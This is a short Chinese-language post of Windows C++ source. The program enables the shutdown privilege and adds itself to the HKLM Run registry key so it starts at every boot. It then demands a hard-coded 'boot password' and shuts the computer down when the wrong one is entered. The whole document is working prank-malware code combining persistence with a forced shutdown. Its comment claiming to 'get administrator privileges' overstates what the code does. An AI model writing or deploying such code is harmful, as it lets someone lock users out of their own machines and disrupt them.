获取计算机权限并关机

#include "stdafx.h"
#include <stdio.h>
#include <iomanip>
#include <iostream>
#include <Windows.h>
using namespace std;

//获取电脑管理员权限
void GetPrivilege()
{

    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    if(!OpenProcessToken(
        GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
        &hToken))
        printf("OpenProcessToken failed");

    LookupPrivilegeValue(NULL,
        SE_SHUTDOWN_NAME,
        &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount=1;
    tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
    if(GetLastError()!=ERROR_SUCCESS)
        printf("AdjustTokenPrivileges");
}


//打开注册表 RegOpenKeyEx
//修改注册表的值 RegSetValueEx

void AutoRun()
{
    HKEY hKey={0};
    DWORD err=RegOpenKeyExW(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
    if(err!=ERROR_SUCCESS)
    {
        cout<<"RegOPenKeyExW failed"<<endl;
    }

    char szPath[MAXBYTE]={0};
    GetModuleFileNameA(NULL,szPath,MAXBYTE);
    err=RegSetValueExA(hKey,"AutoRun",0,REG_SZ,(byte*)szPath,sizeof(szPath));
    if(err!=ERROR_SUCCESS)
    {
        cout<<"RegSetValueEx failed"<<endl;
    }
}

int _tmain(int argc, _TCHAR* argv[])    
{
    GetPrivilege();
    cout<<"输入开机密码，否则关机重启"<<'\n'<<"密码:";
    int nPassword=123;
    cin>>nPassword;
    AutoRun();
    if(nPassword!=123)
    {
        ExitWindowsEx(EWX_SHUTDOWN,0);
        //cout<<"我很帅气"<<endl;
    }
    system("pause");
    return 0;
}